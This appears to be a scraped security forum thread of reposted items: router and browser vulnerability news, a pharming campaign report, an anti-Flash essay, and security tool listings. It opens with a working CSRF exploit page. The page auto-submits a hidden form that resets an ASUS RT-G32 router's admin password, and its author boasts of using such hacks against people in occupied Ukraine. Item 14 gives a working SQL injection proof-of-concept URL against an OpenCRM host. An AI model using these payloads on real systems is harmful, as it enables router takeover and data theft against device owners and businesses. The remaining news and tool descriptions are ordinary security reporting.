<title>ASUS RT-G32 CSRF exploit (C) 2015 MustLive</title> </head> <body onLoad="document.hack.submit()"> <form name="hack" action="http://site/start_apply.htm" method="post"> <input type="hidden" name="http_passwd" value="admin"> <input type="hidden" name="http_passwd2" value="admin"> <input type="hidden" name="v_password2" value="admin"> <input type="hidden" name="action_mode" value="+Apply+"> </form> </body> </html> I found this and other routers since summer to take control over terrorists in Crimea, Donetsk & Lugansks regions of Ukraine. Read about it in the list (http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2015-February/009077.html) and in many my interviews (http://www.thedailybeast.com/articles/2015/02/18/ukraine-s-lonely-cyber-warrior.html). I mentioned about these vulnerabilities at my site (http://websecurity.com.ua/7644/). Best wishes & regards, MustLive Administrator of Websecurity web site http://websecurity.com.ua Source
  11. Mozilla has patched 16 security vulnerabilities in Firefox, including three critical flaws in the browser. One of the critical vulnerabilities patched with the release of Firefox 36 is a buffer overflow in the libstagefright library that can be exploitable under some circumstances. “Security researcher Pantrombka reported a buffer overflow in the libstagefright library during video playback when certain invalid MP4 video files led to the allocation of a buffer that was too small for the content. This led to a potentially exploitable crash,” the Mozilla advisory says. Among the other critical bugs patched in this release is a use-after-free vulnerability in the indexdDB component of the browser. “Security researcher Paul Bandha used the used the Address Sanitizer tool to discover a use-after-free vulnerability when running specific web content with IndexedDB to create an index. This leads to a potentially exploitable crash,” Mozilla said in its advisory. Firefox 36 also includes patches for a variety of memory safety vulnerabilities. The new release also includes fixes for a number of high-risk vulnerabilities, one of which affects the Mozilla updater function in the browser. The bug could let an attacker load malicious files. “Security researcher Holger Fuhrmannek reported that when the Mozilla updater is run directly, the updater will load binary DLL format files from the local working directory or from the Windows temporary directories. This occurs when it is run without the Mozilla Maintenance Service on Windows systems. This allowed for possibly malicious DLL files to execute with elevated privileges if a user agrees when a User Account Control (UAC) prompt from Windows is displayed,” the advisory says. The new browser also includes fixes for a handful of other medium and low-risk security bugs. Source
  12. Pharming attacks are generally network-based intrusions where the ultimate goal is to redirect a victim’s web traffic to a hacker-controlled webserver, generally through a malicious modification of DNS settings. Some of these attacks, however, are starting to move to the web and have their beginnings with a spam or phishing email. Researchers at Kaspersky Lab have been watching this trend for some time, reporting in September on a particular campaign in Brazil targeting home routers using a combination of drive-by downloads and social engineering to steal banking and other credentials to sensitive web-based services. Messaging security company Proofpoint yesterday reported on the latest iteration of this attack, also based in Brazil. The campaign was carried out during a five-week period starting in December when Proofpoint spotted phishing messages, fewer than 100, sent to customers of one of the country’s largest telecommunications companies, Oi, also known recently as Telemar Norte Leste S/A. Users were sent a phishing email warning them of a past-due account and providing them a link supposedly to a portal where they could resolve the issue. Instead, the websites host code that carries out a cross-site request forgery attack against vulnerabilities in home UTStarcom and TP-Link routers distributed by the telco. The pages contain iframes with JavaScript exploiting the CSRF vulnerabilities if present on the routers. They also try to brute force the admin page for the router using known default username-password combinations. Once the attackers have access to the router, they’re able to change the primary DNS setting to the attacker-controlled site, and the secondary setting to Google’s public DNS. “Setting a functioning DNS server as the secondary will allow DNS requests from clients in this network to resolve even if the malicious DNS becomes unavailable, reducing the chance that the user will notice an issue and contact their telecom’s Customer Support line for assistance, which could lead to the discovery and eventual removal of the compromise,” Proofpoint said in its advisory. Via this method, the attacker bypasses the need to own public DNS servers in order to redirect traffic, and have an easier path to man-in-the-middle attacks, which they can use to sniff traffic, in this case for banking credentials, or email. “It’s elegantly vicious,” said Kevin Epstein, vice president, advanced security and governance at Proofpoint. “It’s an attack that, based on the way it’s constructed, is almost invisible. There are no traces on the laptop other than the [phishing] email and unless you’re a security pro logged into the router and know what the DNS is supposed to be, you can look at it and not realize it’s been compromised.” The best defense is to change the router password, especially if it’s still the default provided by the ISP. The potential for trouble extends well beyond this small campaign in Brazil; any router secured with default credentials is susceptible to this attack and a plethora of others. Kaspersky researcher Fabio Assolini, who lives in Brazil, said he’s seeing an average of four new such attacks daily. “It’s not a limited pharming campaign; it’s massive,” he said. Router hacks have been a growing nuisance in the last 12 to 18 months, with more white hat researchers looking into the breadth and severity of the issue. Some cases, such as the Misfortune Cookie vulnerability in a popular embedded webserver called RomPager, have put 12 million devices, including home routers, at risk of attack. Last summer during DEF CON, a hacking contest called SOHOpelessly Broken focusing on router vulnerabilities, yielded 15 zero-day vulnerabilities that were reported to vendors and patched. While in this case, the attackers targeted banking credentials for online accounts, Proofpoint’s Epstein said he can see that scope expanding. “As far as motive, the [proof of concept exploits] we saw seem financially motivated, which is typical of most cybercrime, but the technique is generally applicable,” he said. “If you wanted to harvest a bunch of traffic for a DDOS attack or get into a company, this is a way to do it and gain complete man-in-the-middle control over the user.” Source
  13. Top operating systems by vulnerabilities reported in 2014 Top applications by vulnerabilities reported in 2014 Most vulnerable operating systems and applications in 2014
  14. Services Affected: OpenCRM from Software Add-ons - Adding Value to Your Business Threat Level: High Severity: High CVSS Severity Score: 8.0 Impact type: Complete confidentiality, integrity and availability violation. Vulnerability: (3) Error-Based SQL Injection Vulnerabilities (2) Time-Based Blind SQL Injection Vulnerabilities Vendor Overview OpenCRM is a Software as a Service (SaaS) Customer Relationship Management solution. A leading OpenCRM software, and a true alternative to Salesforce, and other SaaS hosted CRM providers. Proof of Concept: https://demo.opencrm.co.uk:443/index.php?action=index&module=Calendar&action=setField&curr_row=&field=a ssigned_user_id&mode=list&module=Field&popuptype=&record=1&value='AND(Select%201%20from(selec t%20count(*)%2cconcat((select%20concat(CHAR(52)%2cCHAR(67)%2cCHAR(117)%2cCHAR(112)%2cC HAR(73)%2cCHAR(108)%2cCHAR(88)%2cCHAR(72)%2cCHAR(51)%2cCHAR(52)%2cCHAR(114))%20f rom%20information_schema.tables%20limit%200%2c1)%2cfloor(rand(0)*2))x%20from%20information_sche ma.tables%20group%20by%20x)a)and'&viewid=0 Read more: http://dl.packetstormsecurity.net/1502-exploits/OpenCRM.pdf
  15. Oh, Adobe Flash. I knew you well, starting from when you were known as Macromedia Flash in the late 1990s. The dynamic web content you provided me was amazing. Streaming video over 56k would’ve been a major test of my patience, hence YouTube didn’t launch until 2005. But the games… Oh, the games! They were fun. Wait fifteen minutes to download, then five minutes of amusement could be had before it got tiring. Webmasters loved the razzle dazzle of Flash applets even more than JavaScript applets for tacky animated menus and the like. Back when websites had “Best viewed with Netscape,” or “Best viewed with Internet Explorer” icons on their home pages, some web developers really enjoyed one upping each other in needless Flashiness. “Look ma, this ain’t GeoCities no more!” As web developers started to emphasize function over gimmickry, they started to focus their energy on interesting and useful web apps and streaming video as opposed to taking the sentiment behind the old HTML <blink> tag way too far. With Flash, the possibilities seemed endless. If you could make a very good SWF applet, people really appreciated it, especially once most people had Flash plugins in their web browsers. And of course, Flash was necessary for YouTube. YouTube launched the same year Adobe bought Macromedia, 2005. YouTube was such a phenomenon that Google had the good sense to buy it a year later. Adobe is good at developing creative tools, however proprietary they are. What they’re not good at is security. No bloody way! Security bugs are inevitable in all applications from developers both big and small. But, they’re way more common in Adobe Acrobat and Adobe Flash than is typical for similar applications. One of the things I habitually do in my security hardening routine for both personal and professional client PCs is uninstall Acrobat, and replace it with another PDF viewer, such as Foxit Reader, when the machine I’m working on runs Windows. Even though the end user doesn’t realize that I’ve given them a more secure application to open PDFs in, they always appreciate how their new application patches without popups, and gives them a better designed GUI, better in-browser functionality, and an overall better user experience. I’m really happy to be able to say that now I can do the same thing to Flash as I do to Acrobat. Except, I don’t have to install another application to replace it. All I’ve got to ask an end user is, “do you ever go to YouTube?” They’ve always said yes. The really computer illiterate end users don’t know what Flash is, nor do they know that they sometimes view YouTube videos as an embedded applet on a webpage that’s not hosted at youtube.com. Asking them if they enjoy other websites that use Flash is an exercise in futility. “Huh? Do I use Google or Foxfire?” (Why oh why do they call Firefox “Foxfire?” Explaining to them the difference between the Google search engine and the Google Chrome web browser has made me ruin my manicures here and there.) But I could usually assume that they needed Flash for YouTube most of the time. A few years ago, they really needed it for games in Facebook, as well. The first nail in the coffin was mobile. The late Steve Jobs, although I strongly dislike the guy, was correct when he said, “Flash has not performed well on mobile devices. We have routinely asked Adobe to show us Flash performing well on a mobile device, any mobile device, for a few years now. We have never seen it.” Although Adobe really wanted to port Flash to mobile platforms, that effort was never successful. It was never available for iOS. It was available at times for Symbian, Palm OS, and webOS. It was available for some devices running Android versions 2.2 through 4.0.4. It never really seemed to catch on, once smartphones and tablets became the primary way for consumers to enjoy content from the Internet. W3C started working on HTML 5 in 2004. It was usable for me to play around in starting in 2010. But I’m more of a web page developer than a web app developer, so my web development was focused on standards compliance and cross browser and device compatibility rather than creating nifty things with the canvas element. Nonetheless, the introduction of the <video> tag made it a lot easier to embed video without Flash than ever before. And other new tags and functions in HTML 5, combined with sophisticated CSS and JavaScript use, rendered Flash unnecessary for dynamic apps, as well. HTML 5, when used by a competent developer, works just as well on mobile as it does on desktop platforms, and that was apparent well before HTML 5 became officially stable on October 28th, 2014. In fact, I can’t think of a more successful and widespread beta release off the top of my head. Unless you directly worked in web browser and engine development, October 28th would’ve been just another Tuesday. Adobe announced that they had given up on developing Flash for mobile in November 2011. That well predated HTML 5’s stable release. In addition to games and other web apps using open standard alternatives to Flash, YouTube started to make HTML 5 compatible videos available in January 2010, via WebM and H.264. Also, there are native mobile apps for watching YouTube videos outside of the web. So, the thorough acceptance of cross platform open standards, especially HTML 5, combined with everyone and their grandma using mobile devices and Adobe’s struggle with it, sealed Flash’s doom. Then, on January 27th of this year, YouTube announced that HTML 5 video is now default in Chrome, Internet Explorer 11, Safari 8, and the latest Firefox releases. If your browser uses one of the same rendering engines, such as the latest stable versions of WebKit and Trident, you’ll probably experience the same. A Brief Summary of Adobe’s Security Problems This is by far not a complete summary of all of the security problems Flash (and Acrobat) has had, but I’ll explain some of the major ones. In 2007, an Adobe (Acrobat) Reader bug exposed the local filesystems of users’ computers to anyone who knew how to exploit it. Trojan Adobe Flash Player and Reader updates started to become prevalent in 2008. It’s been such a problem that when I see an update popup on a user’s machine, I assume it’s malicious until I determine otherwise. So, that’s been a huge problem for consecutive years now. How come all kinds of other applications, open and closed, from developers of all sizes can patch without popups users have to interact with, but Adobe can’t manage to do that? That’s a massive trojan vector, and there are two disastrous sides to that coin. The vast majority of end users lack my expertise, particularly in malware. A Flash or Reader update popup could be a trojan. Sometimes end users have had experience with Adobe trojans already, so someone like me may have advised them to exercise caution when they see such a popup. But the popup could necessitate interaction for a legitimate and very necessary security patch. So with end users unable to determine whether or not a popup is a trojan, not interacting with it could be the less secure rather than more secure thing to do. In 2009, Symantec’s Internet Security Threat Report explained how Adobe, with Flash and Reader, had one of their most insecure years ever. Adobe’s Chuck Geschke was tremendously arrogant when he was interviewed by John Paczkowski about that. Paczkowski: “Both Apple and Microsoft have said publicly now that Flash has issues with reliability, security, and performance. Do you think those complaints are legitimate?” Geschke: “I think they’re old news. Go to our website and read the actual facts about Flash. We enumerate the facts about Flash there as we see them. They may have a different set of facts that they believe are accurate. It’s up to you to decide.” Ummm, Mr. Geschke… Facts are never subjective by their very definition. Facts are facts, period. You sound like a bloody Scientologist. “Today, I feel like 2 + 2 = 5. It just feels right to me, but your mathematics professor may have a different set of facts they believe are accurate.” Here are the facts. This is what Symantec’s 2009 report actually said, and I hold them in much higher esteem than I do Adobe: “In 2009, Symantec documented 321 vulnerabilities affecting plugins for web browsers. ActiveX technologies were affected by 134 vulnerabilities, which was the highest among the plugin technologies examined. Of the remaining technologies, Java SE had 84 vulnerabilities, Adobe Reader had 49 vulnerabilities, QuickTime had 27 vulnerabilities, and Adobe Flash Player was subject to 23 vulnerabilities. The remaining four vulnerabilities affected extensions for Firefox… “Among the vulnerabilities discovered in 2009, a vulnerability affecting both Adobe Reader and Flash Player was the second most attacked vulnerability. This was also one of four zero-day vulnerabilities affecting Adobe plug-ins during 2009. Two of the vulnerabilities were in the top five attacked vulnerabilities for 2009. Additionally, Adobe vulnerabilities have been associated with malicious code attacks such as the Pidief.E Trojan.” Ouch! And Adobe’s position as one of the most insecure major software vendors ever didn’t cease in 2009. It still isn’t “old news,” Mr. Geschke. Malicious PDFs were used to sucessfully attack Rackspace, Adobe, and Google in 2010. A remote access bug was discovered in Flash in 2011. When properly exploited, one could acquire full control of an affected client machine. Flash Player made it to the top of Symantec’s list of most exploitable plugins in 2012. In October 2013, Adobe was attacked, revealing the sensitive data of 2.9 million users. The sensitive data affected included credit card and debit card information. The same day, YouTube announced default HTML 5 video, January 27th, 2015, Adobe had to release a security patch for two really major Flash vulnerabilities. Independent security researcher Kafiene discovered vulnerability CVE-2015-0311. It allowed Flash to be used as a vector for malicious code injection which could, once again, give complete control of an affected machine to a blackhat. A security researcher named Bilou discovered CVE-2015-0312. It was very similar to CVE-2015-0311, it also enables remote code injection. And of course, with Adobe being Adobe, barely a week passed before fifteen vulnerabilities had to be addressed in a patch that released on February 5th. Yet again, these vulnerabilities enable remote malicious code injection and execution. If you’re still using Flash in Windows, OS X, and GNU/Linux, this is what you must know about eighteen additional CVE listings: “Users of Adobe Flash Player for Windows and OS X should update to Adobe Flash Player 16.0.0.305. Users of Adobe Flash Player Extended Support Release should update to Adobe Flash Player 13.0.0.269. Users of Adobe Flash Player for Linux should update to Adobe Flash Player 11.2.202.442. The Adobe Flash Player installed with Google Chrome, as well as Internet Explorer on Windows 8.x, will automatically update to version 16.0.0.305.” I can safely assume that we’ll continue to learn about really major vulnerabilities that pertain to Flash and Reader for as long as those products continue to be developed by Adobe. I base that assumption not only on Adobe’s reputation and their tendency to take a head in the sand approach to security, but also on Adobe’s patch management style. Their patches address vulnerabilities that are near the surface of their applications, rather than the really deep vulnerabilities at the center of their really old code bases. Way too much of the code is unchanged from the 1990s. I’d love for a security firm with much greater resources than I have to do a really thorough penetration test of the most recent versions of Flash and Reader for Windows, OS X, and GNU/Linux. The reported findings would probably require a forest’s worth of pulp if printed on paper. So, yes, security vulnerabilities can be found in products from all developers. But Adobe is much worse than the norm. Alternative PDF viewers and creators are available for pretty much all mobile and desktop platforms. And open web standards such as HTML 5 have made Flash obsolete. Heck, I even use GIMP instead of Photoshop. Here’s my advice. Whether you’re enterprise or a consumer, get Adobe out of your abode. Now you can do it for content creation and consumption. And it’s easy. References Still using Adobe Flash? Oh well, get updating: 15 hijack flaws patched- Shaun Nichols, The Register Still using Adobe Flash? Oh well, get updating: 15 hijack flaws patched • The Register YouTube flushes Flash for future flicks- Simon Sharwood, The Register YouTube flushes Flash for future flicks • The Register YouTube now defaults to HTML 5 <video>- Richard Leider, YouTube Engineering and Developers Blog YouTube Engineering and Developers Blog: YouTube now defaults to HTML5 <video> Another day, yet another Adobe Flash patch. Because that’s how we live now- Iain Thomson, The Register Another day, yet another emergency Adobe Flash patch. Because that's how we live now • The Register Adobe has an epically abysmal security record- Jose Pagliery, CNN Money Adobe has an epically abysmal security record - Oct. 8, 2013 Adobe says hackers accessed data for 2.9 million customers- James O’Toole, CNN Money http://money.cnn.com/2013/10/03/technology/security/adobe-hack/index.html?iid=EL Thoughts on Flash- Steve Jobs, Apple.com https://www.apple.com/hotnews/thoughts-on-flash/ Why You Should Ditch Adobe Shockwave- Brian Krebs, Krebs on Security http://krebsonsecurity.com/2014/05/why-you-should-ditch-adobe-shockwave/ YouTube says HTML5 video ready for primetime, makes it default- Ron Amadeo, ArsTechnica http://arstechnica.com/gadgets/2015/01/youtube-declares-html5-video-ready-for-primetime-makes-it-default/ The tooth gnashing you hear is from Flash users installing a new 0day patch- Dan Goodin, ArsTechnica http://arstechnica.com/security/2015/01/those-teeth-gnashings-you-hear-are-flash-users-installing-a-new-0day-patch/ How secure is Flash? Here’s what Adobe won’t tell you- Ed Bott, ZDNet http://www.zdnet.com/article/how-secure-is-flash-heres-what-adobe-wont-tell-you/ Adobe issues emergency Flash update for Windows and Mac- Dara Kerr, C|Net http://www.cnet.com/news/adobe-issues-emergency-flash-update-for-windows-and-mac/ Source
  16. Update: OK Apple, your turn. After raising a ruckus with the disclosure of three unpatched Windows vulnerabilities, Google’s Project Zero research team did the same this week with a trio of security issues in Apple OS X. Project Zero imposes a 90-day deadline on vulnerabilities it reports to affected vendors; if a patch is not delivered inside that time frame, details are automatically made public via its external database. The respective OS X bugs were reported to Apple in late October and 90-day deadlines began expiring this week. The Project Zero disclosures also come with proof-of-concept exploit code. A request for comment from Apple was not returned in time for publication. Published reports indicate that the vulnerabilities have been patched in Yosemite 10.10.2, which is in beta. The vulnerabilities affect different components of Apple’s flagship operating system, and range from memory corruption, kernel code execution and a sandbox escape. All three require some kind of local access to exploit. The sandbox escape vulnerability, OS X networkd “effective_audit_token” XPC type confusion sandbox escape as labeled by Google, may have been mitigated starting in the Yosemite version of OS X. Google refers to a separate advisory for those details. In its disclosure on Tuesday, Google said that the networkd system daemon implements an XPC service API which communicates on behalf of an application. Project Zero said that XPC messages using get parameters are used without checking the type of returned value. This allows messages to reach functions outside the sandbox, Google said. One day later, the 90-day deadline expired on an OS X IOKit kernel execution vulnerability. “Calling IOConnectMapMemory on userclient type 2 of “IntelAccelerator” with memory type 3 hits an exploitable kernel NULL pointer dereference calling a virtual function on an object at 0x0,” Google said in its advisory. Part of this disclosure originally included a kernel ASLR bypassed, but that was patched in Yosemite 10.10, Google said. The third disclosure happened yesterday and is another OS X IOKit kernel memory corruption vulnerability. Google said a Bluetooth device must be connected to exploit this bug, which is due to a bad bzero in IOBluetoothDevice. “Userspace can modify the size in shared memory leading to the bzero writing a controlled number of NULL bytes off the end of the buffer,” the advisory said. Project Zero’s automated disclosures are the latest salvo in the industry’s eternal debate over the sharing and distribution of vulnerability details. Microsoft fought back after Google spilled the beans on a trio of its unpatched bugs, one of which Google refused to sit on for an additional two days before Microsoft was to release a patch. Source
  17. Don't look now, but Google's Project Zero vulnerability research program may have dropped more zero-day vulnerabilities—this time on Apple's OS X platform. In the past two days, Project Zero has disclosed OS X vulnerabilities here, here, and here. At first glance, none of them appear to be highly critical, since all three appear to require the attacker to already have some access to a targeted machine. What's more, the first vulnerability, the one involving the "networkd 'effective_audit_token' XPC," may already have been mitigated in OS X Yosemite, but if so the Google advisory doesn't make this explicit and Apple doesn't publicly discuss security matters with reporters. Still, the exploits could be combined with a separate attack to elevate lower-level privileges and gain control over vulnerable Macs. And since the disclosures contain proof-of-concept exploit code, they provide enough technical detail for experienced hackers to write malicious attacks that target the previously unknown vulnerabilities. The security flaws were privately reported to Apple on October 20, October 21, and October 23, 2014. All three advisories appear to have been published after the expiration of the 90-day grace period Project Zero gives developers before making reports public. Assuming the vulnerabilities remain active in at least some versions of OS X, it wouldn't be the first time Project Zero has gone against a developer's wishes and made unfixed security bugs known to the whole world. The Google-backed program has already published three unpatched vulnerabilities in Windows. Source
  18. Ubuntu has released a number of patches for security vulnerabilities in several versions of the OS, including some remote code execution flaws in Thunderbird, which is included with Ubuntu. Thunderbird is Mozilla’s email client, and the company recently fixed several memory corruption vulnerabilities, along with a cross-site request forgery bug and a flaw that could lead to a session-fixation attack. “If a user were tricked in to opening a specially crafted message with scripting enabled, an attacker could potentially exploit these to cause a denial of service via application crash, or execute arbitrary code with the privileges of the user invoking Thunderbird,” the Ubuntu advisory says, referring to the memory corruption vulnerabilities. The CSRF weakness in Thunderbird could be exploited if an attacker can get a user to open a malicious message while scripting is enabled. The session-fixation attack could occur under some circumstances if a user is connected to a malicious web proxy. In addition to the Thunderbird vulnerabilities, there are also patches for several other flaws in Ubuntu. One of the patches fixes a bug in libssh that could cause a denial of service. “It was discovered that libssh incorrectly handled certain kexinit packets. A remote attacker could possibly use this issue to cause libssh to crash, resulting in a denial of service,” the advisory says. There are also two vulnerabilities in the RPM package that could let a local attacker execute arbitrary code and a bug in libevent that could allow code execution in some cases. “Andrew Bartlett discovered that libevent incorrectly handled large inputs to the evbuffer API. A remote attacker could possibly use this issue with an application that uses libevent to cause a denial of service, or possibly execute arbitrary code,” the Ubuntu advisory says. Source
  19. Aerosol

    w3af

    w3af, is a Web Application Attack and Audit Framework. The w3af core and it’s plugins are fully written in python, it identifies more than 200 vulnerabilities and reduce your site’s overall risk exposure. Identify vulnerabilities like SQL Injection, Cross-Site Scripting, Guessable credentials, Unhandled application errors and PHP misconfigurations. Download: https://github.com/andresriancho/w3af
  20. bWAPP or a buggy web application is a free and open source web application build to allow security enthusiasts, students and developers to better secure web applications. bWAPP prepares you to conduct successful penetration testing and ethical hacking projects. It is for educational purposes only. bWAPP contains all vulnerabilities from the OWASP Top 10 project. The OWASP Top 10 provides an accurate snapshot of the current threat landscape in application security and reflects the collaborative efforts and insights of thousands of accomplished security engineers. To reflect the ongoing changes in technology and common online business practices, the list is periodically updated. You can download bWAPP from here. Have fun! We also offer a 2-day comprehensive web security course 'Attacking and Defending Web Applications with bWAPP'. This course can be scheduled on demand, at your location! bWAPP includes: injection vulnerabilities like SQL, XML/XPath, HTML, command and mail injections. Cross-Site Scripting (XSS) Cross-Site Request Forgery (CSRF) malicious file uploads authentication, authorization and session management issues directory traversal local and remote file inclusions information disclosures configuration issues HTTP response splitting SSL issues Man-in-the-Middle attacks parameter modifications and much more... Upcoming bugs: AJAX, JSON, Web Services, Clickjacking. bWAPP is a PHP application that uses a MySQL database. It can be hosted on Linux and Windows using Apache/IIS and MySQL. It can also be installed with WAMP or XAMPP. It's also possible to download our bee-box, a custom Linux VMware virtual machine pre-installed with bWAPP. This project is part of the ITSEC GAMES project. You can find more about bWAPP on this blog very soon. We will cover the installation procedure and most of the web application issues/bugs. Sources: ITSEC Games: bWAPP - a buggy web application ! https://sourceforge.net/projects/bwapp/files/bWAPP/ itsecgames
  21. Learning Objectives After taking this tutorial, you should be able to: Categorize and explain various types of SQL injection attacks Describe coding and design strategies for avoiding SQL injection attacks Use DBMS_ASSERT to validate input values Use code review tools to identify possible SQL injection vulnerabilities Apply coding standards to eliminate SQL injection vulnerabilities http://download.oracle.com/oll/tutorials/SQLInjection/tutorial.zip
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